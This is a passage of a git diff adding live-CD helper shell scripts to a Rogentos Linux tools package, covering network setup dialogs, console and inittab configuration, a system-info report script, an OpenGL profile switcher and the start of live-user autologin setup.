setup" --menu "You can use DHCP to automatically configure a network interface or you can specify an IP and related settings manually. Choose one option:" 20 60 7 1 "Use DHCP to auto-detect my network settings" 2 "Specify an IP address manually" 2> ${iface}.DHCP + DHCP=$(tail -n 1 ${iface}.DHCP) + case ${DHCP} in + 1) + /sbin/dhclient -q -r -nw ${iface} & + ;; + 2) + dialog --title "IP address" --inputbox "Please enter an IP address for ${iface}:" 20 50 "192.168.1.1" 2> ${iface}.IP + IP=$(tail -n 1 ${iface}.IP) + BC_TEMP=$(echo $IP|cut -d . -f 1).$(echo $IP|cut -d . -f 2).$(echo $IP|cut -d . -f 3).255 + dialog --title "Broadcast address" --inputbox "Please enter a Broadcast address for ${iface}:" 20 50 "${BC_TEMP}" 2> ${iface}.BC + BROADCAST=$(tail -n 1 ${iface}.BC) + dialog --title "Network mask" --inputbox "Please enter a Network Mask for ${iface}:" 20 50 "255.255.255.0" 2> ${iface}.NM + NETMASK=$(tail -n 1 ${iface}.NM) + dialog --title "Gateway" --inputbox "Please enter a Gateway for ${iface} (hit enter for none:)" 20 50 2> ${iface}.GW + GATEWAY=$(tail -n 1 ${iface}.GW) + dialog --title "DNS server" --inputbox "Please enter a name server to use (hit enter for none:)" 20 50 2> ${iface}.DNS + DNS=$(tail -n 1 ${iface}.DNS) + /sbin/ifconfig ${iface} ${IP} broadcast ${BROADCAST} netmask ${NETMASK} + if [ -n "${GATEWAY}" ] + then + /sbin/route add default gw ${GATEWAY} dev ${iface} netmask 0.0.0.0 metric 1 + fi + if [ -n "${DNS}" ] + then + dialog --title "DNS Search Suffix" --inputbox "Please enter any domains which you would like to search on DNS queries (hit enter for none:)" 20 50 2> ${iface}.SUFFIX + SUFFIX=$(tail -n 1 ${iface}.SUFFIX) + echo "nameserver ${DNS}" > /etc/resolv.conf + if [ -n "${SUFFIX}" ] + then + echo "search ${SUFFIX}" >> /etc/resolv.conf + fi + fi + ;; + esac +} + +livecd_write_net_conf() { + cd /tmp/setup.opts + echo "# Rogentos Linux static network configuration tool" > /etc/conf.d/net + DHCP=$(tail -n 1 ${iface}.DHCP) + case ${DHCP} in + 1) + echo "config_${iface}=\"dhcp\"" >> /etc/conf.d/net + echo "dhcp_${iface}=\"nosendhost\"" >> /etc/conf.d/net + ;; + 2) + IP=$(tail -n 1 ${iface}.IP) + BROADCAST=$(tail -n 1 ${iface}.BC) + NETMASK=$(tail -n 1 ${iface}.NM) + GATEWAY=$(tail -n 1 ${iface}.GW) + DNS="$(tail -n 1 ${iface}.DNS)" + DOMAIN="$(tail -n 1 ${iface}.SUFFIX)" + if [ -n "${IP}" -a -n "${BROADCAST}" -a -n "${NETMASK}" ] + then + echo "config_${iface}=\"${IP} netmask ${NETMASK} broadcast ${BROADCAST}\"" >> /etc/conf.d/net + if [ -n "${GATEWAY}" ] + then + echo "routes_${iface}=\"default via ${GATEWAY}\"" >> /etc/conf.d/net + fi + if [ -n "${DNS}" ] + then + echo "dns_servers_${iface}=\"${DNS}\"" >> /etc/conf.d/net + fi + if [ -n "${DOMAIN}" ] + then + echo "dns_search_${iface}=\"${DOMAIN}\"" >> /etc/conf.d/net + fi + fi + ;; + esac +} + +get_ifmac() { + local iface=$1 + + # Example: 00:01:6f:e1:7a:06 + cat /sys/class/net/${iface}/address +} + + +get_ifdriver() { + local iface=$1 + + # Example: ../../../bus/pci/drivers/forcedeth (wanted: forcedeth) + local if_driver=$(readlink /sys/class/net/${iface}/device/driver) + basename ${if_driver} +} + +get_ifbus() { + local iface=$1 + + # Example: ../../../bus/pci (wanted: pci) + # Example: ../../../../bus/pci (wanted: pci) + # Example: ../../../../../../bus/usb (wanted: usb) + local if_bus=$(readlink /sys/class/net/${iface}/device/bus) + basename ${if_bus} +} + +livecd_rev_string() { + # /usr might not be mounted + local copy=${1} + len=${#copy} + for((i=$len-1;i>=0;i--)); do rev="$rev${copy:$i:1}"; done + echo ${rev} +} + +get_ifproduct() { + local iface=$1 + local bus=$(get_ifbus ${iface}) + local if_pciaddr + local if_devname + local if_usbpath + local if_usbmanufacturer + local if_usbproduct + + if [[ ${bus} == "pci" ]] + then + # Example: ../../../devices/pci0000:00/0000:00:0a.0 (wanted: 0000:00:0a.0) + # Example: ../../../devices/pci0000:00/0000:00:09.0/0000:01:07.0 (wanted: 0000:01:07.0) + if_pciaddr=$(readlink /sys/class/net/${iface}/device) + if_pciaddr=$(basename ${if_pciaddr}) + + # Example: 00:0a.0 Bridge: nVidia Corporation CK804 Ethernet Controller (rev a3) + # (wanted: nVidia Corporation CK804 Ethernet Controller) + if_devname=$(lspci -s ${if_pciaddr}) + if_devname=${if_devname#*: } + if_devname=${if_devname%(rev *)} + fi + + if [[ ${bus} == "usb" ]] + then + if_usbpath=$(readlink /sys/class/net/${iface}/device) + if_usbpath=/sys/class/net/${iface}/$(dirname ${if_usbpath}) + if_usbmanufacturer=$(< ${if_usbpath}/manufacturer) + if_usbproduct=$(< ${if_usbpath}/product) + + [[ -n ${if_usbmanufacturer} ]] && if_devname="${if_usbmanufacturer} " + [[ -n ${if_usbproduct} ]] && if_devname="${if_devname}${if_usbproduct}" + fi + + if [[ ${bus} == "ieee1394" ]] + then + if_devname="IEEE1394 (FireWire) Network Adapter"; + fi + + echo ${if_devname} +} + +get_ifdesc() { + local iface=$1 + desc=$(get_ifproduct ${iface}) + if [[ -n ${desc} ]] + then + echo $desc + return; + fi + + desc=$(get_ifdriver ${iface}) + if [[ -n ${desc} ]] + then + echo $desc + return; + fi + + desc=$(get_ifmac ${iface}) + if [[ -n ${desc} ]] + then + echo $desc + return; + fi + + echo "Unknown" +} + +show_ifmenu() { + local old_ifs="${IFS}" + local opts + IFS="" + for ifname in $(/sbin/ifconfig -a | grep "^[^ ]"); do + ifname="${ifname%% *}" + [[ ${ifname} == "lo" ]] && continue + opts="${opts} '${ifname}' '$(get_ifdesc ${ifname})'" + done + IFS="${old_ifs}" + + eval dialog --menu \"Please select the interface that you wish to configure from the list below:\" 0 0 0 $opts 2>iface + [[ "$?" == "1" ]] && exit + + iface=$(< iface) +} + +show_ifconfirm() { + local iface=$1 + local if_mac=$(get_ifmac ${iface}) + local if_driver=$(get_ifdriver ${iface}) + local if_bus=$(get_ifbus ${iface}) + local if_product=$(get_ifproduct ${iface}) + + local text="Details for network interface ${iface} are shown below.\n\nInterface name: ${iface}\n" + [[ -n ${if_product} ]] && text="${text}Device: ${if_product}\n" + [[ -n ${if_mac} ]] && text="${text}MAC address: ${if_mac}\n" + [[ -n ${if_driver} ]] && text="${text}Driver: ${if_driver}\n" + [[ -n ${if_bus} ]] && text="${text}Bus type: ${if_bus}\n" + text="${text}\nIs this the interface that you wish to configure?" + + if ! dialog --title "Interface details" --yesno "${text}" 15 70 + then + result="no" + else + result="yes" + fi +} + +livecd_console_settings() { + # scan for a valid baud rate + case "$1" in + 300*) + LIVECD_CONSOLE_BAUD=300 + ;; + 600*) + LIVECD_CONSOLE_BAUD=600 + ;; + 1200*) + LIVECD_CONSOLE_BAUD=1200 + ;; + 2400*) + LIVECD_CONSOLE_BAUD=2400 + ;; + 4800*) + LIVECD_CONSOLE_BAUD=4800 + ;; + 9600*) + LIVECD_CONSOLE_BAUD=9600 + ;; + 14400*) + LIVECD_CONSOLE_BAUD=14400 + ;; + 19200*) + LIVECD_CONSOLE_BAUD=19200 + ;; + 28800*) + LIVECD_CONSOLE_BAUD=28800 + ;; + 38400*) + LIVECD_CONSOLE_BAUD=38400 + ;; + 57600*) + LIVECD_CONSOLE_BAUD=57600 + ;; + 115200*) + LIVECD_CONSOLE_BAUD=115200 + ;; + esac + if [ "${LIVECD_CONSOLE_BAUD}" = "" ] + then + # If it's a virtual console, set baud to 38400, if it's a serial + # console, set it to 9600 (by default anyhow) + case ${LIVECD_CONSOLE} in + tty[0-9]) + LIVECD_CONSOLE_BAUD=38400 + ;; + *) + LIVECD_CONSOLE_BAUD=9600 + ;; + esac + fi + export LIVECD_CONSOLE_BAUD + + # scan for a valid parity + # If the second to last byte is a [n,e,o] set parity + local parity + parity=$(livecd_rev_string $1 | cut -b 2-2) + case "$parity" in + [neo]) + LIVECD_CONSOLE_PARITY=$parity + ;; + esac + export LIVECD_CONSOLE_PARITY + + # scan for databits + # Only set databits if second to last character is parity + if [ "${LIVECD_CONSOLE_PARITY}" != "" ] + then + LIVECD_CONSOLE_DATABITS=$(livecd_rev_string $1 | cut -b 1) + fi + export LIVECD_CONSOLE_DATABITS + return 0 +} + +livecd_read_commandline() { + livecd_get_cmdline || return 1 + + for x in ${CMDLINE} + do + case "${x}" in + cdroot) + CDBOOT="yes" + RC_NO_UMOUNTS="^(/|/dev|/dev/pts|/lib/rcscripts/init.d|/proc|/proc/.*|/sys|/mnt/livecd|/newroot)$" + export CDBOOT RC_NO_UMOUNTS + ;; + cdroot\=*) + CDBOOT="yes" + RC_NO_UMOUNTS="^(/|/dev|/dev/pts|/lib/rcscripts/init.d|/proc|/proc/.*|/sys|/mnt/livecd|/newroot)$" + export CDBOOT RC_NO_UMOUNTS + ;; + console\=*) + local live_console + live_console=$(livecd_parse_opt "${x}") + + # Parse the console line. No options specified if + # no comma + LIVECD_CONSOLE=$(echo ${live_console} | cut -f1 -d,) + if [ "${LIVECD_CONSOLE}" = "" ] + then + # no options specified + LIVECD_CONSOLE=${live_console} + else + # there are options, we need to parse them + local livecd_console_opts + livecd_console_opts=$(echo ${live_console} | cut -f2 -d,) + livecd_console_settings ${livecd_console_opts} + fi + export LIVECD_CONSOLE + ;; + esac + done + return 0 +} + +livecd_fix_inittab() { + if [ "${CDBOOT}" = "" ] + then + return 1 + fi + + # Create a backup + cp -f /etc/inittab /etc/inittab.old + + # Comment out current getty settings + sed -i -e '/^c[0-9]/ s/^/#/' /etc/inittab + sed -i -e '/^s[01]/ s/^/#/' /etc/inittab + + # SPARC & HPPA console magic + if [ "${HOSTTYPE}" = "sparc" -o "${HOSTTYPE}" = "hppa" -o "${HOSTTYPE}" = "ppc64" ] + then + # Mount openprom tree for user debugging purposes + if [ "${HOSTTYPE}" = "sparc" ] + then + mount -t openpromfs none /proc/openprom + fi + + # SPARC serial port A, HPPA mux / serial + if [ -c "/dev/ttyS0" ] + then + LIVECD_CONSOLE_BAUD=$(stty -F /dev/ttyS0 speed) + echo "s0:12345:respawn:/sbin/agetty -nl /bin/bashlogin ${LIVECD_CONSOLE_BAUD} ttyS0 vt100" >> /etc/inittab + fi + # HPPA software PDC console (K-models) + if [ "${LIVECD_CONSOLE}" = "ttyB0" ] + then + mknod /dev/ttyB0 c 11 0 + LIVECD_CONSOLE_BAUD=$(stty -F /dev/ttyB0 speed) + echo "b0:12345:respawn:/sbin/agetty -nl /bin/bashlogin ${LIVECD_CONSOLE_BAUD} ttyB0 vt100" >> /etc/inittab + fi + # FB / STI console + if [ -c "/dev/vc/1" -o -c "/dev/tts/1" -o -c "/dev/tty2" ] + then + MODEL_NAME=$(cat /proc/cpuinfo |grep "model name"|sed 's/.*: //') + if [ "${MODEL_NAME}" = "UML" ] + then + for x in 0 1 2 3 4 5 6 + do + echo "c${x}:12345:respawn:/sbin/mingetty --noclear --autologin root tty${x}" >> /etc/inittab + done + else + for x in 1 2 3 4 5 6 + do + echo "c${x}:12345:respawn:/sbin/mingetty --noclear --autologin root tty${x}" >> /etc/inittab + done + fi + fi + if [ -c "/dev/hvc0" ] + then + einfo "Adding hvc console to inittab" + echo "s0:12345:respawn:/sbin/agetty -nl /bin/bashlogin 9600 hvc0 vt320" >> /etc/inittab + fi + + + # The rest... + else + for x in 1 2 3 4 5 6 + do + echo "c${x}:12345:respawn:/sbin/agetty -nl /bin/bashlogin 38400 tty${x} linux" >> /etc/inittab + done + fi + + # EFI-based machines should automatically hook up their console lines + if dmesg | grep -q '^Adding console on' + then + dmesg | grep '^Adding console on' | while read x; do + line=`echo "$x" | cut -d' ' -f4` + id=e`echo "$line" | grep -o '.\{1,3\}$'` + [ "${line}" = "${LIVECD_CONSOLE}" ] && continue # already setup above + case "$x" in + *options\ \'[0-9]*) speed=`echo "$x" | sed "s/.*options '//; s/[^0-9].*//"` ;; + *) speed=9600 ;; # choose a default, only matters if it is serial + esac + echo "$id:12345:respawn:/sbin/agetty -nl /bin/bashlogin ${speed} ${line} vt100" >> /etc/inittab + done + fi + + # force reread of inittab + kill -HUP 1 + return 0 +} diff --git a/app-misc/rogentoslive-tools/files/1.0/livespawn b/app-misc/rogentoslive-tools/files/1.0/livespawn new file mode 100644 index 00000000..44d7257e --- /dev/null +++ b/app-misc/rogentoslive-tools/files/1.0/livespawn @@ -0,0 +1,10 @@ +#!/usr/bin/python +import sys, os, subprocess +args = sys.argv[1:] +if not args: raise SystemExit(1) + +pid = os.fork() +if pid == 0: + p = subprocess.Popen(args) + rc = p.wait() + raise SystemExit(rc) diff --git a/app-misc/rogentoslive-tools/files/1.0/logscript.sh b/app-misc/rogentoslive-tools/files/1.0/logscript.sh new file mode 100755 index 00000000..4fb06d6b --- /dev/null +++ b/app-misc/rogentoslive-tools/files/1.0/logscript.sh @@ -0,0 +1,111 @@ +#!/bin/sh +#requires the following +# free, hostname, grep, cut, awk, uname + +HOSTNAME=`hostname -s` +IP_ADDRS=`ifconfig | grep 'inet addr' | grep -v '255.0.0.0' | cut -f2 -d':' | awk '{print $1}'` +IP_ADDRS=`echo $IP_ADDRS | sed 's/\n//g'` + +#memory +MEMORY=`free | grep Mem | awk '{print $2}'` + +#cpu info +CPUS=`cat /proc/cpuinfo | grep processor | wc -l | awk '{print $1}'` +CPU_MHZ=`cat /proc/cpuinfo | grep MHz | tail -n1 | awk '{print $4}'` +CPU_TYPE=`cat /proc/cpuinfo | grep vendor_id | tail -n 1 | awk '{print $3}'` +CPU_TYPE2=`uname -m` +CPU_TYPE3=`uname -p` + +OS_NAME=`uname -s` +OS_OS=`uname -o` +OS_KERNEL=`uname -r` +OS_RELEASE=`cat /etc/rogentos-edition` +OS_EDITION=`cat /etc/rogentos-edition` +ESELECT_KERNEL=`eselect --no-color kernel list` +ESELECT_OPENGL=`eselect --no-color opengl list` +ESELECT_JAVA=`eselect --no-color java-vm list` +ESELECT_JAVAP=`eselect --no-color java-nsplugin list` + +EQUO=`equo --version` +PORTAGE=`emerge --version` + +UPTIME=`uptime` +MEM=`free -t -m` +SPACE=`df -TH` + +PCIINFO=`lspci | cut -f3 -d':'` +#Another way to do it +#PCIINFO=`lspci | cut -f3 -d':'` + +LSUSB=`lsusb` +LSMOD=`lsmod` +#print it out +echo "$HOSTNAME" +echo "--------------------------------------------------------------------" +echo "Hostname : $HOSTNAME" +echo "Host Address : $IP_ADDRS" +echo "Main Memory : $MEMORY" +echo "Number of CPUs : $CPUS" +echo "CPU Type : $CPU_TYPE2 $CPU_TYPE3 $CPU_MHZ MHz" +echo "OS Release : $OS_RELEASE" +echo "OS Edition : $OS_EDITION" +echo "Kernel Name : $OS_NAME $OS_OS" +echo "Kernel Version : $OS_KERNEL" +echo "Uptime : $UPTIME" +echo "--------------------------------------------------------------------" +echo +echo "Entropy Version" +echo "$EQUO" +echo +echo "Portage Version" +echo "$PORTAGE" +echo "--------------------------------------------------------------------" +echo +echo "Kernel List" +echo "$ESELECT_KERNEL" +echo "Your Kernel Should Be Set To:" +echo "$OS_KERNEL" +echo "Use eselect kernel set #" +echo "--------------------------------------------------------------------" +echo +echo "OpenGL List" +echo "$ESELECT_OPENGL" +echo "The above should be set to your video card, see lspci" +echo "Use eselect opengl set #" +echo "--------------------------------------------------------------------" +echo +echo "Java VM List" +echo "$ESELECT_JAVA" +echo "Use java-config --set-system-vm #" +echo "--------------------------------------------------------------------" +echo +echo "Java-nsplugin List" +echo "$ESELECT_JAVAP" +echo "Use eselect java-nsplugin set #" +echo "--------------------------------------------------------------------" +echo +echo "Devices - lspci" +echo "--------------------------------------------------------------------" +echo "$PCIINFO" +echo "--------------------------------------------------------------------" +echo +echo "Devices - lsmod" +echo "--------------------------------------------------------------------" +echo "$LSMOD" +echo "--------------------------------------------------------------------" +echo +echo "Devices - lsusb" +echo "--------------------------------------------------------------------" +echo "$LSUSB" +echo "--------------------------------------------------------------------" +echo +echo "Memory" +echo "--------------------------------------------------------------------" +echo "$MEM" +echo "--------------------------------------------------------------------" +echo +echo "Disk Space" +echo "--------------------------------------------------------------------" +echo "$SPACE" +echo "--------------------------------------------------------------------" +echo diff --git a/app-misc/rogentoslive-tools/files/1.0/net-setup b/app-misc/rogentoslive-tools/files/1.0/net-setup new file mode 100755 index 00000000..e84de48b --- /dev/null +++ b/app-misc/rogentoslive-tools/files/1.0/net-setup @@ -0,0 +1,65 @@ +#!/bin/bash +# Copyright 1999-2005 Gentoo Foundation +# Copyright 2006-2008 Fabio Erculiani +# Distributed under the terms of the GNU General Public License v2 +# $Header: /var/cvsroot/gentoo/src/livecd-tools/net-setup,v 1.19 2006/05/30 20:20:11 wolf31o2 Exp $ + +if [ -f /sbin/livecd-functions.sh ] +then + source /sbin/livecd-functions.sh +else + echo "ERROR: /sbin/livecd-functions.sh could not be loaded!" + exit 1 +fi + +if [ ! -x $(which dialog) ] +then + echo "ERROR: The dialog utility is required for net-setup. Exiting!" + exit 1 +fi + +livecd_check_root || exit 1 + +# Hide any potential error messages from the readlink/dirname/etc calls below +exec 2>/dev/null + +if [ -z "${1}" ] +then + show_ifmenu + echo $iface +else + iface="${1}" +fi + +[ ! -d /tmp/setup.opts ] && mkdir /tmp/setup.opts +cd /tmp/setup.opts + +while true; do + show_ifconfirm $iface + [[ $result == "yes" ]] && break + show_ifmenu +done + +# Show stderr again +exec 2>/dev/stderr + +dialog --title "Network setup" --menu "This script is designed to setup both wired and wireless network settings. All questions below apply to the ${iface} interface only. Choose one option:" 20 60 7 1 "My network is wireless" 2 "My network is wired" 2> ${iface}.WIRED_WIRELESS +WIRED_WIRELESS=$(tail -n 1 ${iface}.WIRED_WIRELESS) +case ${WIRED_WIRELESS} in + 1) + livecd_config_wireless + livecd_config_ip + livecd_write_wireless_conf + ;; + 2) + livecd_config_ip + ;; + *) + exit 0 + ;; +esac +livecd_write_net_conf + +echo "Type \"ifconfig\" to make sure the interface was configured correctly." + +# vim: ts=4 diff --git a/app-misc/rogentoslive-tools/files/1.0/opengl-activator b/app-misc/rogentoslive-tools/files/1.0/opengl-activator new file mode 100755 index 00000000..387dd10f --- /dev/null +++ b/app-misc/rogentoslive-tools/files/1.0/opengl-activator @@ -0,0 +1,318 @@ +#!/bin/sh +# Forked from eselect opengl Gentoo module - this is reaaaaaaaaaally faster +# this is used only at Live time, to avoid the use of Portage +# Copyright 2006-2008 Fabio Erculiani + +# Our data +ENV_FILE="/etc/env.d/03opengl" +PREFIX="/usr" +DST_PREFIX="/usr" +USE_PROFILE_HEADERS="no" +ES_VALID_MULTILIB_DIRS="lib lib32 lib64" + +# list_libdirs PUBLIC +# Returns a space separated list of libdirs available on this machine +list_libdirs() { + local dir libdirs + libdirs="" + for dir in ${ES_VALID_MULTILIB_DIRS} ; do + if grep -q "^/${dir}\(\|/\)$" /etc/ld.so.conf &> /dev/null ; then + libdirs=( ${libdirs[@]} ${dir} ) + fi + done + if [[ -z ${libdirs[@]} ]] ; then + # Broken or non-existing ld.so.conf + libdirs=( /lib* ) + libdirs=( ${libdirs[@]/\/lib/lib} ) + fi + echo "${libdirs[@]}" +} + +# has test list +# Return true if list contains test +has() { + local test=${1} item + shift + for item in $@ ; do + [[ ${item} == ${test} ]] && return 0 + done + return 1 +} + +# is_function function PUBLIC +# Test whether function exists +is_function() { + [[ $(type -t "${1}" ) == "function" ]] +} + +# is_number PUBLIC +# Returns true if and only if $1 is a positive whole number +is_number() { + [[ -n ${1} ]] && [[ -z ${1//[[:digit:]]} ]] +} + +get_current_implementation() { + local ret + local ldpath=$(cat ${ENV_FILE} | grep LDPATH | cut -d'"' -f 2) + + local opengl_profile=$(cat ${ENV_FILE} | grep OPENGL_PROFILE | cut -d'"' -f 2) + + if [[ -n ${opengl_profile} ]] ; then + ret="${opengl_profile}" + elif [[ -n ${ldpath} ]] ; then + ret="${ldpath%%:*}" + ret="${ret##*opengl/}" + ret="${ret%/lib*}" + fi + + echo ${ret} +} + +get_implementations() { + local ret dir + for x in $(list_libdirs) ; do + for dir in "${PREFIX}/${x}"/opengl/* ; do + [[ -d ${dir} && $(basename "${dir}") != "global" ]] || continue + has $(basename "${dir}") ${ret} && continue + ret=${ret:+${ret} }$(basename "${dir}") + done + done + + echo ${ret} +} + +setup_lib_symlinks() { + local profile_libdir=${1} + local libdir=${2} + local file + local rootfile + + mkdir -p "${libdir}" || echo "Failed to create ${libdir}" + + pushd "${libdir}" &> /dev/null + # First remove old symlinks + for file in libGL{,core}.{a,so,la} ; do + rm -f "${file}" || echo -q "Failed to delete ${file}" + done + + # Note that we don't do .so*, just .so on purpose. The + # loader knows to look in the profile dir, and the + # linked just needs the .so + for file in ${profile_libdir}/libGL{,core}.{so,a,la}; do + rootfile="${file}" + [[ -f ${file} ]] || continue + if [[ -f $(basename "${file}") ]] ; then + rm -f "$(basename "${file}")" || echo -q "Failed to delete ${libdir}/$(basename "${file}")" + fi + + # Fix libtool archives (#48297) + if [[ ${file%.la} != ${file} ]] ; then + sed "s:${profile_libdir}:${libdir}:g" "${file}" > "$(basename "${file}")" || echo "Failed to create ${libdir}/$(basename "${file}")" + else + ln -s "${rootfile}" || echo "Failed to create ${libdir}/$(basename "${file}")" + fi + done + popd &> /dev/null +} + +set_new_implementation() { + local gl_implem=${1} + local avail_implems=$(get_implementations) + + # Set a sane umask... bug #83115 + umask 022 + + if ! has ${gl_implem} ${avail_implems}; then + echo "Invalid profile selected." + exit 1 + fi + + echo -n "Switching to ${gl_implem} OpenGL interface..." + + local libdir + for libdir in $(list_libdirs); do + [[ ${ROOT} != / ]] && libdir=${libdir//${ROOT}} + + # First make sure we have an opengl directory and this is a real lib dir, not a symlink + [[ -d ${PREFIX}/${libdir}/opengl && ! -h ${PREFIX}/${libdir} ]] || continue + + # Fallback on xorg-x11 if we don't have this implementation for this libdir. + local gl_local + if [[ ! -d ${PREFIX}/${libdir}/opengl/"${gl_implem}" ]] ; then + gl_local="xorg-x11" + else + gl_local="${gl_implem}" + fi + + setup_lib_symlinks "${PREFIX}/${libdir}/opengl/${gl_local}/lib" "${DST_PREFIX}/${libdir}" + + if [[ -e ${PREFIX}/${libdir}/opengl/${gl_local}/lib/tls ]] ; then + setup_lib_symlinks "${PREFIX}/${libdir}/opengl/${gl_local}/lib/tls" "${DST_PREFIX}/${libdir}/tls" + fi + + local moduledir + if [[ -e ${DST_PREFIX}/${libdir}/xorg/modules ]] ; then + moduledir="xorg/modules" + else + moduledir="modules" + fi + + if [[ -e ${PREFIX}/${libdir}/opengl/${gl_local}/extensions ]] ; then + mkdir -p "${DST_PREFIX}/${libdir}/${moduledir}/extensions" || echo "Failed to create ${DST_PREFIX}/${libdir}/${moduledir}/extensions" + pushd "${DST_PREFIX}/${libdir}/${moduledir}/extensions" &> /dev/null + # First remove old symlinks + for file in lib{wfb,glx,dri,dri2}.{a,so,la}; do + rm -f "${file}" || echo "Failed to delete ${DST_PREFIX}/${libdir}/${moduledir}/extensions/${file}" + done + + for file in ${PREFIX}/${libdir}/opengl/${gl_local}/extensions/*.{so,a,la}; do + [[ -f ${file} ]] || continue + if [[ -f $(basename "${file}") ]] ; then + rm -f "$(basename "${file}")" || echo "Failed to delete ${DST_PREFIX}/${libdir}/${moduledir}/extensions/$(basename "${file}")" + fi + + # Fix libtool archives (#48297) + if [[ ${file%.la} != ${file} ]] ; then + sed "s:${PREFIX}/[^/]*/opengl/[^/]*/lib:${DST_PREFIX}/${libdir}:g" "${file}" > "$(basename "${file}")" || echo "Failed to create ${DST_PREFIX}/${libdir}/${moduledir}/extensions/$(basename "${file}")" + else + ln -s "${file}" || echo "Failed to create ${libdir}/$(basename "${file}")" + fi + done + popd &> /dev/null + fi + + # Setup the includes + mkdir -p "${DST_PREFIX}/include/GL" || echo "Failed to create ${DST_PREFIX}/include/GL" + pushd "${DST_PREFIX}/include/GL" &> /dev/null + for file in gl.h glx.h glxtokens.h glext.h glxext.h glxmd.h glxproto.h; do + # IMPORTANT + # It is preferable currently to use the standard glext.h file + # however if an OpenGL provider must use a self produced glext.h + # then it should be installed to ${gl_implem}/include and the user + # can add the --impl-headers option to select it. + + if [[ "${USE_PROFILE_HEADERS}" == "yes" ]] ; then + # Check the profile first. + if [[ -e ${PREFIX}/${libdir}/opengl/${gl_implem}/include/${file} ]] ; then + if [[ -f ${file} || ( -L ${file} && ! -e ${file} ) ]] ; then + rm -f "${file}" || echo "Failed to delete ${DST_PREFIX}/include/GL/$(basename "${file}")" + fi + + ln -s ${PREFIX}/${libdir}/opengl/${gl_implem}/include/${file} || echo "Failed to create ${DST_PREFIX}/include/GL/$(basename "${file}")" + continue + fi + fi + + if [[ -e ${PREFIX}/${libdir}/opengl/global/include/${file} ]] ; then + if [[ -f ${file} || ( -L ${file} && ! -e ${file} ) ]] ; then + rm -f "${file}" || echo "Failed to delete ${DST_PREFIX}/include/GL/$(basename "${file}")" + fi + + ln -s ${PREFIX}/${libdir}/opengl/global/include/${file} || echo "Failed to create ${DST_PREFIX}/include/GL/$(basename "${file}")" + elif [[ -e ${PREFIX}/${libdir}/opengl/${gl_implem}/include/${file} ]] ; then + if [[ -f ${file} || ( -L ${file} && ! -e ${file} ) ]] ; then + rm -f "${file}" || echo "Failed to delete ${DST_PREFIX}/include/GL/$(basename "${file}")" + fi + + ln -s ${PREFIX}/${libdir}/opengl/${gl_implem}/include/${file} || echo "Failed to create ${DST_PREFIX}/include/GL/$(basename "${file}")" + elif [[ -e ${PREFIX}/${libdir}/opengl/xorg-x11/include/${file} ]] ; then + if [[ -f ${file} || ( -L ${file} && ! -e ${file} ) ]] ; then + rm -f "${file}" || echo "Failed to delete ${DST_PREFIX}/include/GL/$(basename "${file}")" + fi + + ln -s ${PREFIX}/${libdir}/opengl/xorg-x11/include/${file} || echo "Failed to create ${DST_PREFIX}/include/GL/$(basename "${file}")" + fi + done + popd &> /dev/null + + # Setup the $LDPATH + ldpath="${ldpath:+${ldpath}:}${PREFIX}/${libdir}/opengl/${gl_local}/lib" + + done + + sed -i '/LDPATH=.*/d' ${ENV_FILE} + echo "LDPATH=\"${ldpath}\"" >> ${ENV_FILE} + oldldpath=$(cat /etc/profile.env|grep LDPATH | cut -d"'" -f2) + + sed -i '/export LDPATH=.*/d' /etc/profile.env + sed -i '/setenv LDPATH=.*/d' /etc/csh.env + sed -i '/export LD_LIBRARY_PATH=.*/d' /etc/profile.env + sed -i '/setenv LD_LIBRARY_PATH=.*/d' /etc/csh.env + sed -i "s/OPENGL_PROFILE=.*/OPENGL_PROFILE='${gl_implem}'/" /etc/profile.env + sed -i "s/OPENGL_PROFILE=.*/OPENGL_PROFILE='${gl_implem}'/" /etc/csh.env + sed -i '/LD_LIBRARY_PATH=.*/d' ${ENV_FILE} + sed -i "s/OPENGL_PROFILE=.*/OPENGL_PROFILE=\"${gl_implem}\"/" ${ENV_FILE} + + echo "export LDPATH='"${ldpath}":"${oldldpath}"'" >> /etc/profile.env + echo "setenv LDPATH='"${ldpath}":"${oldldpath}"'" >> /etc/csh.env + echo "export LD_LIBRARY_PATH='"${ldpath}"'" >> /etc/profile.env + echo "setenv LD_LIBRARY_PATH='"${ldpath}"'" >> /etc/csh.env + echo 'LD_LIBRARY_PATH="'${ldpath}'"' >> ${ENV_FILE} + + + source /etc/profile &> /dev/null + echo " done" +} + +do_set() { + local action="error" + local current=$(get_current_implementation) + local available=$(get_implementations) + local new + + while [[ ${#@} -gt 0 ]] ; do + local opt=${1} + shift + case ${opt} in + *) + action="set-implementation" + if has ${opt} ${available}; then + new="${opt}" + else + echo "Unrecognized option: ${opt}" + fi + ;; + esac + done + + case ${action} in + set-implementation) + if [[ -n ${new} ]] ; then + set_new_implementation ${new} + rc=$? + sed -i "s/opengl\/xorg-x11\//opengl\/${new}\//" /etc/ld.so.conf + sed -i "s/opengl\/ati\//opengl\/${new}\//" /etc/ld.so.conf + sed -i "s/opengl\/nvidia\//opengl\/${new}\//" /etc/ld.so.conf + ldconfig -X &> /dev/null + return ${rc} + else + echo "Please specify an implementation to set" + fi + ;; + *) + echo "Invalid usage of set action." + ;; + esac + +} + +do_show() { + local current=$(get_current_implementation) + echo ${current} +} + +is_live=$(cat /proc/cmdline | grep cdroot) + +if [ -n "$is_live" ]; then + if [ "$1" == "show" ]; then + do_show + else + do_set $@ + fi +else + if [ "$1" == "show" ]; then + eselect opengl show + else + eselect opengl set $@ + fi +fi diff --git a/app-misc/rogentoslive-tools/files/1.0/rogentos-functions.sh b/app-misc/rogentoslive-tools/files/1.0/rogentos-functions.sh new file mode 100755 index 00000000..eb4bf4d6 --- /dev/null +++ b/app-misc/rogentoslive-tools/files/1.0/rogentos-functions.sh @@ -0,0 +1,247 @@ +#!/bin/bash + +GDM_FILE="/usr/share/gdm/defaults.conf" +CUSTOM_GDM_FILE="/etc/gdm/custom.conf" +KDM_FILE="/usr/share/config/kdm/kdmrc" +LXDM_FILE="/etc/lxdm/lxdm.conf" +OEM_FILE="/etc/oemlive.sh" +OEM_FILE_NEW="/etc/oem/liveboot.sh" +LIVE_USER_GROUPS="audio bumblebee cdrom cdrw clamav console entropy games \ +kvm lp lpadmin messagebus plugdev polkituser portage pulse pulse-access pulse-rt \ +scanner usb users uucp vboxguest vboxusers video wheel" +LIVE_USER=${SABAYON_USER:-rogentosuser} + +sabayon_setup_autologin() { + # GDM - GNOME + if [ -f "${GDM_FILE}" ]; then + sed -i "s/^AutomaticLoginEnable=.*/AutomaticLoginEnable=true/" ${GDM_FILE} + sed -i "s/^AutomaticLogin=.*/AutomaticLogin=${LIVE_USER}/" ${GDM_FILE} + 